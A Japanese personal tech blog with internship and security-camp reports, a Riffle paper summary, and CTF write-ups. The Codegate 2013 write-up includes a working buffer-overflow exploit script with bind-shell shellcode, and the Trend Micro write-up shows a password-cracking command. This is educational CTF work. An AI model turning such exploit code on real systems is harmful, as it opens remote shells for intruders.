噂の月給40万円インターンに参加してきました

f:id:ak1t0:20170902200600j:plain

LINE SUMMER INTERNSHIP 2017 エンジニア就業コースに参加しました。

選考

テスト

簡単なコーディングのテストがありました。問題が3問あって全完できなかったので、落ちたかと思っていたらなぜか面接に進めました。後でインターン生に聞いてみたところ、誰も全完はできていないみたいでなるほどといった感じでした。

面接

いろいろやらかしてしまったので、今度こそ落ちたと思っていたらなぜか合格通知が届いて、思わずその場で叫んでしまいました。

インターン

f:id:ak1t0:20170902200315j:plain

初日

何かの間違いで帰れと言われませんように、と心の中でひたすら祈っていましたが、チューターの方にも部署の方にも良くしてもらったので安心しました。 また、同じ部署に配属されたインターン生がもう1人(2人?)いたので心強かったです。

オフィス

とにかくすごい。オフィス内に、オシャレなカフェがあったり、撮影スタジオや保育園があったり、70型テレビと各種ゲームが揃ったゲームコーナーがあったり、これが大企業か…といった感じでした。

f:id:ak1t0:20170902200709j:plain f:id:ak1t0:20170902200212j:plain f:id:ak1t0:20170902200545j:plain f:id:ak1t0:20170902200532j:plain

環境

ほぼ最上位(i7+16GB+USキーボード)のMBPとWQHDディスプレイが貸与されて、遠方組はマンスリーマンションの個室を借りてもらえるという、すごい環境でした。

インターンの内容

自分が配属されたゲームクラウドという部署では、インターン生にはテーマが与えられ、それを設計から実装まで1人で考えるという形でした。最初はドキュメントを1日中読んでいるだけで、これで本当に1日2万円ももらっていいのかという感じでしたが、最終的には一応ある程度形になったので良かったです。

f:id:ak1t0:20170902203141j:plain

ただ、私用で3.5日くらい休んでしまった影響で、2つめのテーマがかなり中途半端な状態で終わってしまったり、最終発表のスライドがいまいちだったりしたので、そこはかなり悔しかったです。そういうタイムマネジメントも学んでいきましょうという、発表会の締めの言葉が胸に突き刺さりました。

f:id:ak1t0:20170902200654j:plain

イベント

インターン生だけの懇親会や別の部署の方のいらっしゃった懇親会がありました。部署の方はもちろん、セキュリティ室の方にも色々な話が聞けて良かったです。

蟹味噌(とにかくヤバかった) f:id:ak1t0:20170902200130j:plain

1ヶ月を終えて

技術的な面でも、それ以外の面でもとにかく濃い1ヶ月でした。 未だについ昨日東京に来たばかりなのに、みたいな気分です。 1ヶ月間本当にありがとうございました。

f:id:ak1t0:20170902200519j:plain

おまけ

他のインターン生のエントリ

calmery.hatenablog.com

www.kagemiku.com

chigichan24.hatenablog.com

40万円の使い道

ディスプレイと懇親会で布教された暗号通貨を買って、残りは貯金します。

インターン中のご飯

f:id:ak1t0:20170902200117j:plainf:id:ak1t0:20170902200145j:plainf:id:ak1t0:20170902200329j:plainf:id:ak1t0:20170902200409j:plainf:id:ak1t0:20170902200355j:plainf:id:ak1t0:20170902200341j:plainf:id:ak1t0:20170902200158j:plain

一応気を付けて書いたつもりではありますが、もし何か公開してはいけない部分がありましたら、すぐに消しますので伝えていただけると幸いです。

セキュリティ・ミニキャンプ in 近畿 2017(神戸)に参加してきました

セキュリティミニキャンプ in 近畿 2017(神戸)の専門講座に参加してきました.

まとめ

  • 午前
  • 午後
  • おまけ
  • 最後に

専門講座

ハッカーペネトレーションテスター)の考え方とハンズオン」

ハッキング(ペネトレーションテスト)に関する講義を受けて、それを用意された脆弱なVMに対して実際に試すという構成でした。 VMはCTF形式になっていたのですが、結局自力で見つけられたflagは最初の1つだけでした。

nmapやniktoの使い方、実際にWordPressのパスワードを入手した後、Metasploitでどのように侵入するか、など普段はなかなか触れる機会のないことがたくさんあって、新鮮で面白かったです。 また、講義のハッカーの世界は白黒ではなくグレーという言葉が印象に残りました。

昼食

🙏
できたて(?)で温かくて美味しかったです。

ハニーポットを用いた分析ハンズオン」

ハニーポットに関する基本的な説明を受けて、DaionaeaというハニーポットWordPressのログ分析を実際に試すという構成でした。

ハニーポットというよりはログ分析がメインで、nginxの設定を弄ってログのフォーマットを指定したり、/wp-loginとかの怪しいURLへのアクセスを弾いたりしました。 午前中に学んだWPScanなどが、ログから見るとこういう風に見えるのか、という感じで面白かったです。

おまけ

帰りのポートライナーで講師のザックさんと参加者の方と偶然一緒になって、色々話を聞けて良かったです。

最後に

講師の方々、 チューターの方々、 協賛の方々、そして今回のミニキャンプに関わる全ての方々、 本当にありがとうございました。

Trend Micro CTF 2017 Online Qualifier Write-up

HarekazeというチームでTrend Micro CTF 2017 Online Qualifierに参加しました。チームとしての結果は53位/900点で、内2問を解いて200点ほど取りました。

OSINT 100

フィッシングに使われたドメインから、犯人の名前を特定するという問題でした。

whoisすると、osint isfunという名前とosintisfun@gmx.comというメールアドレスが見つかります。

(省略)
Registrant Name: osint isfun
Registrant Organization: 
Registrant Street: 230 Earls Court Road
Registrant Street: Kensington
Registrant City: London
Registrant State/Province: London
Registrant Postal Code: SW5 9AA
Registrant Country: UK
Registrant Phone: +44.7441911980
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: osintisfun@gmx.com
Registry Admin ID: Not Available From Registry
(省略)

そこでosintisfun@gmx.comで検索すると、patebinにt3m4.comの情報が見つかります。 それを元に、t3m4.comにアクセスするとT3-M4Haxorと名乗る人物のWebサイトがあります。 T3-M4HaxorでGoogle検索するとtopicsbirdのキャッシュにDavik Surikという名前が残っているので、Davik SuriktをGoogle検索して出てくるLinkedInにアクセスします。 CTF OSINT Target とあるので後は、GZPGS{SGE0FVAG101}をROT13すればflagが出ます。

TMCTF{FTR0SINT101}

For100

与えられたpcapをWiresharkで見ると、DNSトンネリングのトラフィックだと推測できます。DNSに偽装されていると思われるのは、サブドメインIPアドレスの2つです。

Hint:
1. Not Base64 but Another Base is used

というヒントがあったので、

strings output.pcap | egrep ".{14,}"

で出した全てのサブドメインをbase58でデコードするとflagが出ます。

TMCTF{DNSTunnelExfil}

OSINT 300 (解けなかった)

ネットワーク機器のconfigを書き換えて作られたバックドアを調べるという問題でした。 パケットを眺めて、/etc/passwdを上書きしてsshユーザーを不正に作るという所までは分かりました。

Hint:
1. Not Jack but John. (username is TMCTF)
2. We will rockyou

というヒントがあったので/etc/passwdに対して一晩中John the Ripperを回していたのですが、間に合いませんでした。

ここで重要になるのがrockyouというヒントで、「john rockyou」で調べれば分かることなのですが、rockyouというのはjohn用のwordlistらしいです。

実際後で

john --wordlist=rockyou.txt exploit/etc/passwd

すると数秒で解析が終了しました。 ググるだけだったのに完全に頭がついてませんでした。 300点問題なのでかなりもったいなかったです。

感想

もうちょっとで解けそう、みたいな問題も何個かあって楽しかったけど割と悔しかったです。 また、elfやpwnが少なかったりpcapが多かったりと、問題が割と実務(?)寄りで新鮮でした。

Codegate Quals 2013 Vuln100 Write-up

情報

  • 64bit ELF
  • fork-server型
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

方針

0x400cd0のmemcpyにbofが存在し, DEPが無効なので, return addressを書き換えてスタック上でshellを起動するという方針をとる.

ここで問題になるのがstrcpyで, 単純にbofさせるとstrcpyの引数まで書き換えてしまい, SYSSEGVで落ちてしまう. また, strcpyの引数には0x00が含まれているので, 単純に送り込むデータにそれっぽいデータを配置するという方法も使えない.

つまり, return addressを直接書き換えることは不可能で, かつ制御できるデータはstrcpyのdestのみとなる.

そこで, strcpyのdestをretrun addressが配置されるアドレスにして, return addressを書き換えてしまえばよいと思うが, 送り込むデータの途中に0x00は含められないのでこれも不可能.

よって, strcpyのdestを元々のアドレスの少し下位に調整して, 同じペイロードをずらして2回書き込み, ペイロードの下端がstrcpyのdest兼return addressとなるようにする.

f:id:ak1t0:20170514233155p:plain

アドレスリーク

"A" + "\x00" * 7 など送ると, printなどでは見えないもののスタックの中身がリークしているので, それを参考にする. 今回の場合は, スタック中にあるstrcpyのdestさえ分かればよいので, リークしたデータの中のアドレスっぽいデータを, 総当たりで全て試す. この際, アドレスは0x10(frame + return address)ほど下位に調整する.

また, バイナリが古いせいか, Ubuntu 17.04でkernel.randomize_va_spaceを弄ると, データをリークしなくなるので, 初期設定のままバイナリを起動する.

子プロセスの追跡

set follow-fork-mode child を.gdbinitに足してrunすると, 自動でgdbが子プロセスを追跡してくれる

コード

from socket import *
from struct import pack, unpack
import time
import sys

host = "localhost"
port = 6666

# 89 bytes
bindshell = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\xba\xf2\xff\x13\x88\x66\x83\xf2\xf0\x52\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

def solve_quiz(p):
    r = p.recv(4096)
    print r
    p.send("arsenal\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r
    p.send("gyeongbokgung\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r
    p.send("psy\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r
    

def get_shell(address):
    p = socket(AF_INET, SOCK_STREAM)
    # for brute force
    p.settimeout(30)
    p.connect((host, port))

    solve_quiz(p)

    payload = ""
    payload += "\x90" * 16
    payload += bindshell
    payload += "\x90" * (264 - len(payload))
    payload += pack("<Q", address)
    
    p.send(payload + "\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r + '\n'

    p.send("\n")

    
def get_leaked():
    p = socket(AF_INET, SOCK_STREAM)
    p.connect((host, port))

    solve_quiz(p)
    
    p.send('A' + '\x00' * 7)
    
    time.sleep(0.5)
    r = p.recv(4096)

    return dump_leaked(r)

def dump_leaked(d):
    # split bytes into 8byte data
    datas = [d[i:i+8] for i in range(0, len(d), 8)]
    # remove data except address
    filtered = filter(lambda n:"\x7f" in n, datas)
    # convert bytes to long
    address = map(lambda n:unpack("<Q", n)[0], filtered)

    return address


address = get_leaked()

for a in address:
    try:
        get_shell(a + 16)
    except Exception as e:
        if (e.args[0] == "timed out"):
            print "Success!!"
            sys.exit()

参考資料

Codegate 2013 Vuln 100 Writeup
Codegate CTF Preliminary 2013 Vuln100(解けなかった)
Codegate 2013 Quals - Vuln 100 [ Failed Attempt ] & Updated Solution
CODEGATE 2013 vuln100 writeup

セキュリティ・ミニキャンプ in 近畿 2017 に参加してきました

セキュリティミニキャンプ in 近畿 2017 の一般講座と専門講座に参加してきました.

まとめ

  • 一般講座
  • 専門講座
  • 最後に

一般講座

「国家が関与するサイバー攻撃の実態理解」

内容は書けませんが、普段は聞けないような色々な話があって、あと1時間くらい追加で講演して欲しいと思うくらい面白かったです。

「と或るセキュリティエンジニアの解説書」

セキュリティエンジニアになるまでのことと、セキュリティエンジニアになってからのことについての講演でした。エンジニアは技術に固執しがちだけれど、顧客の立場から考えることが一番大切という話を聞いて、どこの技術者も変わらないんだなと思いました。

「作るだけでは終わらない!〜安全なウェブサイト管理〜」

IPAのエンジニアの方による脆弱性の種類、トレンド、包括的な脆弱性の対処法などでした。 一般講座ということもあって、主にウェブサイトの管理者を対象にしてるようでした。

「サイバー捜査官をめざして」

京都府警のサイバー犯罪対策課の方によるサイバー犯罪の歴史とその対処についての講演でした。わいせつデータをいかにして法律で扱うようになったか、Winnyや流出系のウイルス、擬律判断などの話がありました。また、よくインターネット上で言われる「サイバー捜査官に捕まえたクラッカーを雇えばよいのでは」という意見を「正義感のないやつには無理」と一蹴していて、なるほど確かにという感じでした。

専門講座

「Webセキュリティ・はじめの一歩」

Webの脆弱性に関する説明を受けて、実際に用意されたデモサイトで試す、という形の講義でした。 SQLインジェクションXSS、動作確認用のphpinfoやApacheなどによる情報収集などがありました。全員同じデモサーバーでやっていたので、誰かが試したXSSで外部サイトに強制的にリダイレクトさせられて、そもそもデモサーバーにアクセスできない、みたいなある意味XSSの危険性を実感できるトラブルもあって楽しかったです。

昼食

🙏

「オンラインゲーム アタック&ディフェンス体験」

前半は、WebSocketとJavaScriptで作られた簡単な複数人型のオンラインゲームに対して、実際にチートとチート対策を行い、後半はチートや自動化の対策や是非について考えるという構成の講義でした。 チートといっても難読化などはなく、JSからレベルアップする関数を見つけて、ブラウザのJSコンソールからsetInterval(levelup_func, 5000) とかすると自動的にLvが上がる感じでした。データの不整合を起こして無理矢理全員の接続を切断させている人も居たようです。 実際に存在するゲームにチート行為を行うというのは、なかなかできない体験なのでとても新鮮でした。

おまけ

専門講座の会場にありました。

最後に

講師の方々、 チューターの方々、 そして今回のミニキャンプに関わる全ての方々、 本当にありがとうございました。

論文紹介 - "Riffle: An Efficient Communication System With Strong Anonymity"

初めに

この記事は情報セキュリティ系論文紹介 Advent Calendar 2016の24日目の記事です。 半年くらい前に話題になっていたRiffleというプロトコルの論文の紹介です。 周りが強い人たちばかりで怖いですが、よろしくお願いします。

TL;DR

匿名化ネットワークを、ダウンロードにPrivate Information Retrievalを、アップロードにmixnetsとVerifiable Shuffleを用いて構築する。また、このシステムは、既存の主流な匿名化ネットワークに欠けているトラフィック解析への耐性と、それ以上の匿名性を併せ持つ。

背景

匿名化ネットワークは現在いくつかあるが、主流になっているネットワークのトラフィック解析に対する耐性は疑わしい。そこで、提案こそ以前からあるものの技術的課題の多かった、mixnetsや他の様々な技術を改善し、かつ組み合わせることで、新たな匿名化ネットワーク「Riffle」を設計した。

前提知識

mixnets とは

古くからある匿名化ネットワークのプロトコルの1つ。クライアントから渡されたデータを、複数のサーバーに中継させ、また、中継時に内容をランダムに並び替えることで、トラフィック解析に対抗する。また、onion-encryptも併用する。いくつかの攻撃手法と、それを改善した派生プロトコルが存在する。

Verifiable Shuffle とは

Verifiable Shuffleとは、データの内容が同一であることを検証可能にしつつ、データをランダムに並び替えるプロトコルである。mixnetなどで悪意のあるサーバーへの対策として使用されるものの、計算量が大幅に増えるという欠点がある。 Riffleでは、TLSのように公開鍵暗号を共通鍵の交換のみに用いることで、計算量を改善したHybrid Verifiable Shuffleと筆者が呼ぶものが使われる。

Private Information Retrieval とは

Private Information Retrieval(以後PIR)とは、クライアントがデータベースを持つサーバーから、どのデータを取得したかサーバーに知られることなく、特定のデータを取得できるプロトコルの総称である。原理的には、ダウンロードの度にデータベースの全てのデータを取得するプロトコルPIRと言える。Riffleでは、XORを用いて実装される。

Riffle

モデル

Riffleは、1つのサーバー群と複数のクライアントが存在し、少なくとも1つのサーバーが信頼できることを前提とする。

f:id:ak1t0:20161224184608p:plain (図は論文からの引用)

プロトコル

Riffleでは、プロトコルの開始から終了までをepoch、その中で鍵の共有などの準備をするsetupと、実際にコミュニケーションを行うcommunicationに分けられる。また、communicationの中で行われる各アップロード/ダウンロードをroundと呼ぶ。

Setup

1. 鍵のシャッフル

  • 通信に関わる全てのサーバーが公開鍵/秘密鍵のペアとシャッフル用パラメータを生成する
  • クライアントが全てのサーバーの公開鍵を取得する
  • クライアントが各サーバー用に共通鍵の配列を生成する
  • 鍵の配列をサーバーから取得した全ての公開鍵でonion-encryptする
  • onion-encryptした共通鍵鍵の配列をアップロード
  • Verifiable Shuffle が行われ各サーバーがクライアントが生成した共通鍵を1つずつ取得

2. PIRの準備

  • クライアントと全てのサーバーがPIRのためのSecretを共有

Communication

1. アップロード

  • クライアントがSetupで共有した共通鍵でメッセージをonion-encryptする
  • 暗号化したメッセージをサーバー群へアップロード

2. シャッフル

  • サーバーは受け取ったメッセージの認証と復号を行う
  • 復号したデータをSetupで生成したパラメータでシャッフル
  • 次のサーバーへシャッフルしたデータを渡す
  • 最後のサーバーは完全に復号されたメッセージを全てのサーバーへ送信

3. ダウンロード

  • Setupで共有したSecretを利用してPIRでサーバーからダウンロード

Accusation

RiffleへのDoS攻撃は、悪意のあるクライアントによる意図的な壊れたデータのアップロードが考えられ、これを防ぐ告発(accusation)というシステムが存在する。 Accusationというのは、悪意のあるクライアントを特定するためのプロトコルで、これによりオーバーヘッド無しに悪意のあるクライアントの特定と排除を実現する。ただし、そのままでは悪意のあるサーバーが乱用できてしまうので、告発には全てのサーバーの同意を必要とすることで、これを防ぐ。

ソースコード

GitHub - kwonalbert/riffle

参考文献

Riffle - people.csail.mit.edu
How to stay anonymous online - MIT News
Here's How Riffle Anonymity Network Protects Your Privacy better than Tor - The Hacker News
MITの匿名ネットワーク通信プロトコルRiffleはTorの長年の王座を揺るがすか

セキュリティ・ミニキャンプ in 中国 2016 に参加してきました

セキュリティミニキャンプ in 中国 2016 の専門講座に参加してきました.

まとめ

  • 1日目
  • 2日目
  • 最後に

1日目

「車載LAN上を流れるメッセージの解析」

車載LANの基本的な構成や規格に関する講義を受けて, 実際にそれをPythonのプログラムを書きながら試す, という構成でした. もちろん会場に車は持ち込めないので, 講師とチューターの方々によって会場にパケットが流れるケーブルが張り巡らされていて, そこに流れるパケットをOBD2-USBアダプタを通じてキャプチャして処理する, といった感じでした. 実際にT社の車からキャプチャされたパケットもありました.

車載LANやそのパケットなど普段は触れる機会がないので, とても面白かったです. また, 車載LANの構造が思ったよりシンプルで驚きました.

LT

トレンドマイクロの方のマルウェア解析についての講演でした. マルウェアの自動解析とそれを行うためのインフラの話がとても面白かったです. また, チューターの方がアナライジング・マルウェアにサインを貰っているのを見て, 自分もサイバーセキュリティプログラミングを持ってきていれば良かった...と思いました.

2日目

OSSを読もう! - HeartBleed編」

OpenSSLとその周辺の技術に関する講義を受けて, 実際に該当する脆弱なソースコードGitHubで探すという構成でした. RSA暗号の計算を手元で試したり, 実際に用意されたサーバーにHeartBleedパケットを送ったりもしました.

セキュリティキャンプなのに, GitHubで関数名をひたすら辿るのは少し不思議な感じがしたけれど, 楽しかったです.

昼食

🙏

マルウェア解析(基礎)」

マルウェア解析といっても, IDAでバイナリを...という感じではなく, 仮想環境上で動くマルウェアをProcessMonitorを使って挙動を追いかける感じでした. 検体は, 大昔に某P2Pで流行った○ン○マウイルスことAntinnyと, TeslaCryptやLockyなどの最新のランサムウェアでした.

また, 講義も理論的なことだけでなく, 実際に現場でマルウェアを発見/感染した際に, 限られた予算でどのように対処するか, ということも聞けて面白かったです.

最後に

講師の方々, チューターの方々, そして今回のミニキャンプに関わる全ての方々, 本当にありがとうございました.